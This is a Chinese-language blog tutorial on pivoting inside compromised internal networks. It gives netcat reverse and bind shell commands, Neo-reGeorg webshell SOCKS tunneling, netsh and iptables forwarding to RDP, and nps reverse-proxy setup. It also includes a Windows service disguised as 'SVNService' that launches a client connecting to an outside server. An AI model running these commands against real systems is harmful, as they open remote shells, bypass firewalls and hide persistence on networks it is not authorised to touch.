内网渗透-内网代理转发与隧道隐藏

0x00 前言

当你内网横向中,内网代理转发和隧道隐藏技术非常重要. 当拿下内网一台主机的控制权后,需要通过代理转发的方式进入内网.当目标有防火墙时,隧道隐藏技术可以帮助我们达到绕过防火墙的目的.

0x01 正反向代理和正反向shell

正向代理

构造代理服务器,用户将请求发送到代理服务器,代理服务器将请求发送到服务器,服务器将信息发送到代理服务器,代理服务器再将信息发送到用户。

图片.png

反向代理

用户将请求发送到反向代理服务器,反向代理服务器将请求发送到服务器,服务器将信息发送到反向代理服务器,返现代理服务器将信息发送用户,常见应用场景为企业网访问互联网。

img

正向&反向shell

客户端链接服务器:

服务器 nc -lvnp 444

客户端 nc 服务器ip 444

  • 如果服务器想获取客户端的shell 反向shell

    • 服务器:nc -lvp 4444
    • 客户端:nc 服务端ip 4444 -e /bin/bash
  • 如果客户端想获取服务器的shell 正向shell

    • 服务器:nc -lvp 4444 -e /bin/bash
    • 客户端:nc 服务器ip 4444

0x02 socks协议

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。Socks介于传输层与表示层之间,使用TCP协议传输。

常用socks代理工具

  • EarthWorm
  • regGeorg
  • sSocks
  • SocksCap64
  • Proxifier
  • ProxyChains

0x03 隧道相关

隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。

隐藏通信隧道概述

一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙

常用的隧道列举如下。

网络层:Ipv6情况、icmp情况、Gre隧道0

传输层: Tcp 隧道、udp 隧道 常规端口转发 ·

应用层: ssh隧道、http隧道、https隧道、dns隧道

具体的利用以后用到再详细写

0x04 内网代理转发常用方法和工具

msf 建立路由开启socks代理

当服务器通外网时,我们获得了一个msf的session 可以通过msf自带的 autoroute 来建立一个基于session的路由,当建立以后.msf内的工具可以直接与内网通信.如果要其他工具也使用的话 msf建立一个socks代理服务即可

Neo-reGeorg 端口复用

配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。

https://github.com/L-codes/Neo-reGeorg

1
2
python3 neoreg.py generate -k password					#生成服务端
python3 neoreg.py -k password -u http://xx/tunnel.php #在本地建立Socks5代理

Windows netsh 端口转发(双网卡用)

netsh仅支持TCP协议, 适用于双网卡服务器

连接外网6666端口,就是连接到内网目标上面的3389。

启动转发

1
2
3
4
5
#查看现有规则
netsh interface portproxy show all

#添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网IP listenport=6666 connectaddress=内网IP connectport=3389

取消转发

1
2
3
4
5
#删除转发规则
netsh interface portproxy delete v4tov4 listenport=6666

#xp需要安装ipv6
netsh interface ipv6 install

Linux iptables 端口转发(高权限用)

1、编辑配置文件

1
2
vi /etc/sysctl.conf
net.ipv4.ip_forward = 1#开启IP转发

2、关闭服务

1
service iptables stop

3、配置规则

1
2
3
4
5
#需要访问的内网地址:10.1.1.11(Windows)
#内网边界web服务器:192.168.100.100(Linux)
iptables -t nat -A PREROUTING --dst 192.168.100.100 -p tcp --dport 3389 -j DNAT--to-destination 10.1.1.11:3389

iptables -t nat -A POSTROUTING --dst 10.1.1.11 -p tcp --dport 3389 -j SNAT --to-source 192.168.100.100

4、保存并重启服务

1
service iptables save && service iptables start

这时访问Web服务器的3389就能登录到内网机器的桌面了。

nps反向代理

1、下载nps服务端到自己的VPS(以Linux-Centos为例)https://ehang-io.github.io/nps

1
2
3
4
sudo ./nps install	#安装
sudo nps start #启动
sudo nps stop #停止
sudo nps reload #服务端配置文件重载

2、修改配置文件(敏感信息改掉) /etc/nps/conf/nps.conf

名称 含义
web_port web管理端口
web_password web界面管理密码
web_username web界面管理账号
auth_key web api密钥
public_vkey 客户端以配置文件模式启动时的密钥,设置为空表示关闭客户端配置文件连接模式
auth_crypt_key 获取服务端authKey时的aes加密密钥,16位

创建系统服务

1
sc create svnservice binpath= "C:\Users\Public\Videos\setup.exe -server=111.173.114.77:8091 -vkey=zkxcn35bhkzit2kt -type=tcp"  displayname= "SVNService" depend= Tcpip start= auto
1
sc start svnservice

FRP

未完待续…


内网渗透-内网代理转发与隧道隐藏
https://coutcin-xw.github.io/2022/05/01/内网渗透-内网代理转发与隧道隐藏/
作者
CoutCin
发布于
2022年5月1日
许可协议